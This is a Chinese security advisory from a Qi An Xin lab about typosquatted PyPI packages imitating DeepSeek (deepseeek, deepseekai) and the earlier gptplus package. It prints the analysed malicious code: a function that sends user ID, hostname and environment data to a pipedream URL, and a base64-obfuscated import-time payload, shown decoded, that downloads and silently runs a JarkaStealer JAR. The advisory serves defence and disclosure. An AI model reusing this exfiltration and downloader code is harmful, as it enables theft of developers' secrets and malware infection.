【天问】警惕针对deepseek的开源软件供应链攻击

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2025年2月13日09:56:07评论18 views字数 5654阅读18分50秒阅读模式

自从2024年12月26日deepseek V3发布之后，开源生态中出现了大量与其相关的软件包，大多数为工具类软件包。但天问监测模块发现了其中潜藏的部分恶意攻击包，通过包名伪造来诱导用户下载，窃取用户隐私信息。

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块，”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测，发现了大量的恶意包和攻击行为。

伪造deepseek包名攻击

自从2024年12月26号人工智能模型deepseek V3发布之后，其优异的表现吸引了大量开发者使用。同时在开源生态中也出现了许多与deepseek相关的软件工具包。但在这些软件包中也潜藏着部分不怀好意的攻击者上传的恶意包。

2025年1月29号，“天问”监测系统在PyPI中发现了两个利用伪造deepseek包名欺骗用户下载的恶意包，deepseeek和deepseekai。这两个软件包均由同一个用户bvk发布。两个包的核心代码一致，均是利用网络连接回传用户隐私信息，包括主机名，环境变量等。而用户的环境变量中常常会存在Token、API Key等敏感数据，这些数据的泄漏会给用户造成严重的损失。具体恶意攻击代码如下所示：

deepseeek-0.0.8/deepséek/main.py

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def send_get_request():
    url = "https[:]//eoyyiyqubj7mquj.m.pipedream.net"
    try:
        user_id = os.popen('id').read().strip()  # Attempt to get user ID with id command
        if not user_id:
            user_id = os.popen('whoami').read().strip()  # Fallback to whoami if id fails

        hostname = os.uname().nodename  # Get system hostname
        env = os.getenv("ENV", "prod")  # Get environment variable or default to prod
        payload = {"user_id": user_id, "hostname": hostname, "env": env}

        response = requests.post(url, json=payload, verify=False)
    except requests.exceptions.RequestException:
        pass  # Silently ignore any request errors

def main():
    send_get_request()

deepseeek-0.0.8/setup.py

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setup(
    name='deepseeek',
    version=VERSION,   
    description='deepseeek API client',
    long_description="deepseeek",
    ...
    entry_points={
        'console_scripts': [
            'deepseeek=deepseeek.main:main',
        ],
    },
    ...
)

从setup.py的设置可知，这个恶意包原本的触发方式应该为用户安装之后在命令行误输入deepseeek进行触发。但目前恶意包的配置无法完成这一攻击，猜测可能属于攻击试验阶段。

开源生态分析

我们对各个生态中与deepseek相关的软件进行了统计分析，具体情况如下所示。

【pypi生态】

我们统计了deepseek V3发布之后的Python包，其中包名相近（字符串余弦相似度>=0.8）的软件包有9个，如下所示，其中2个为上文提及的恶意软件包，其余目前均不包含恶意代码。

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'llm-deepseek', 'deepseek-r1', 'deepseek-cli', 'deepseeek', 'deepspeed', 'deepseekai', 'deepseek.py', 'deepseek-sdk', 'deepseek-ai'

名字中包含deepseek字段的软件包25个，metadata中包含deepseek字段的软件包数量为242个，多为工具类的软件包。

另外值得警惕的是，目前PyPI中的deepseek软件包的开发者为deskpai，并非官方开发者，该软件包最近的最高日下载量已经超过2000。

【天问】警惕针对deepseek的开源软件供应链攻击

【npm生态】

在npm生态中，也存在与PyPI中已发现的恶意包相同名称的软件包deepseekai 和 deepseek，但是经过研究人员的分析，这两个软件包中的代码仅仅是对deepseek api调用的包装，并未存在其他可疑的恶意代码。但值得注意的是，在npm生态中，软件包deepseekai的发布者snowyjs使用了匿名邮箱[email protected] 进行发布 , 开发者在使用、升级该软件包时，建议审慎检查相关代码是否存在异常。

自2024年12月1日以来，在npm 生态中发现了401个与deepseek相关的软件包，其中相似度较高的部分名称如下:

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'deepseek', 'deepseekai', 'deepseek-api', 'deepseekjs', 'deepseek-sdk', 'deepseek-cli', '@ai-sdk/deepseek', '@promptbook/deepseek'

【不同生态趋势图】

过去两个月中，各大开源生态中陆续出现与deepseek相关的软件包，根据我们的监测分析，其中PyPI，npm以及Go这三个个生态出现明显的数量增加趋势。这些软件包大多为开发者基于deepseek api 构建的工具类软件包。

【天问】警惕针对deepseek的开源软件供应链攻击

【天问】警惕针对deepseek的开源软件供应链攻击

值得注意的是，近日已经出现了针对PyPI生态投毒的deepseekai 恶意包，该恶意软件包会窃取开发者隐私信息，根据软件供应链的攻击特性来看，近期各大生态中都有可能陆续出现相似地攻击事件，对使用deepseek构建AGI应用的开发者及下游用户产生影响。

针对其他AI工具的恶意攻击

针对流行的AI工具的开源生态攻击事件此前也有发生过。2023 年 11 月，名为Xeroline的用户向 PyPI 上传了两个名为 gptplus 和 claudeai-eng 的恶意软件包。

例如，gptplus的介绍页面提供了chatgpt的使用接口，让用户误认为其使用了chatgpt接口。

README.MD

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## Installation

```
pip install gptplus
```

## Usage

```python
from gptplus import ChatGPT

chatgpt = ChatGPT()

chat_id = chatgpt.create_chat() 

response = chatgpt.send_message(chat_id, "What is the capital of France?")

print(response)

chatgpt.delete_chat(chat_id)
```

但其实际调用的并非ChatGPT官方的API，而是一个demo网站https://chat.chatgptdemo.net/new_chat。相关代码如下所示：

gptplus-2.2.0/gptplus/gptplus.py

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class ChatGPT():
    ...

    def create_chat(self):
        try:
            return self.s.post('https://chat.chatgptdemo.net/new_chat', json=self.json_data).json()['id_']
        except:
            ...

而且，其在模块导入阶段加入了混淆恶意代码的执行，如下所示

gptplus-2.2.0/gptplus/__init__.py

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from .gptplus import ChatGPT
from base64 import b64decode as dec
exec(dec('aW1wb3J0IG9zCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCB1cmxsaWIucmVxdWVzdAppbXBvcnQgemlwZmlsZQppbXBvcnQgcGxhdGZvcm0KaW1wb3J0IHRocmVhZGluZwoKCmRlZiBkb3dubG9hZF90ZXN0X2phcih1cmwsIGphcl9maWxlX3BhdGgpOgogICAgaWYgbm90IG9zLnBhdGguZXhpc3RzKGphcl9maWxlX3BhdGgpOgogICAgICAgIHVybGxpYi5yZXF1ZXN0LnVybHJldHJpZXZlKHVybCwgamFyX2ZpbGVfcGF0aCkKCgpkZWYgZGF1bmx1ZCgpOgogICAgaWYgcGxhdGZvcm0uc3lzdGVtKCkgPT0gIldpbmRvd3MiOgogICAgICAgIHRyeToKICAgICAgICAgICAgdXJsID0gImh0dHBzOi8vZ2l0aHViL...MKCgp0aHJlYWQgPSB0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1kYXVubHVkKQp0aHJlYWQuc3RhcnQoKQo='.encode()).decode())

解码之后

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import os
import subprocess
import urllib.request
import zipfile
import platform
import threading


def download_test_jar(url, jar_file_path):
    if not os.path.exists(jar_file_path):
        urllib.request.urlretrieve(url, jar_file_path)


def daunlud():
    if platform.system() == "Windows":
        try:
            url = "https[:]//github.com/imystorage/storage/raw/main/JavaUpdater.jar"
            jar_file_path = os.path.join(os.getenv('TEMP'), "test.jar")

            download_test_jar(url, jar_file_path)

            result = subprocess.run(
                ['where', 'javaw.exe'], capture_output=True)
            if result.returncode != 0:
                jre_url = "https[:]//www.dropbox.com/scl/fi/hkl9jp9kgkk2qvdg4cvk2/jre-1.8.zip?rlkey=8p0fx0jb97p19yyjrqwx57asp&dl=1"
                jre_temp_path = os.path.join(os.getenv('TEMP'), 'jre-1.8.zip')
                urllib.request.urlretrieve(jre_url, jre_temp_path)

                with zipfile.ZipFile(jre_temp_path, 'r') as zip_ref:
                    zip_ref.extractall(os.getenv('TEMP'))

                os.chdir(os.path.join(os.getenv('TEMP'), 'jre-1.8', 'bin'))
                subprocess.Popen(['javaw.exe', '-jar', jar_file_path],
                                 creationflags=subprocess.CREATE_NO_WINDOW)
            else:
                subprocess.Popen(['javaw.exe', '-jar', jar_file_path],
                                 creationflags=subprocess.CREATE_NO_WINDOW)
        except:
            pass


thread = threading.Thread(target=daunlud)
thread.start()

其包含运行 JarkaStealer 恶意软件的恶意代码，通过下载和执行未知的 JAR 文件来实施潜在的攻击。

随着AI的不断发展，对于chatgpt、deepseek这类先进的AI工具的需求将会越来越高。开源生态中相关的工具包也会爆发式地增长。与之而来的是各种软件供应链攻击，攻击者也会尝试通过包名伪造等手段来隐藏自己，完成后门植入，信息窃取等攻击目的。对于用户而言，需要谨慎使用开源生态中的第三方软件包，提前检验相关源代码，避免受到相关攻击。“天问”软件安全监测模块也会持续监测报告相关问题，帮助用户防御此类安全风险。

恶意包列表

【天问】警惕针对deepseek的开源软件供应链攻击

奇安信技术研究院是专注于网络空间安全相关技术的研究机构，聚焦网络空间安全领域基础性或前沿性的研究课题，结合国家和社会的实际需求，开展创新性和实践性的技术研究。

星图实验室隶属于奇安信技术研究院，专注于软件与系统安全的核心技术研究与系统平台研发，对外输出“天穹”软件动态分析沙箱、“天问”软件供应链分析平台、“天象”软件漏洞挖掘系统等核心能力和工具系统。

我们目前正在招聘，工作地点覆盖北京、南京、成都等城市，详情请参见：

https://research.qianxin.com/recruitment/

原文始发于微信公众号（奇安信技术研究院）：【天问】警惕针对deepseek的开源软件供应链攻击

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  • 本文由 发表于 2025年2月13日09:56:07
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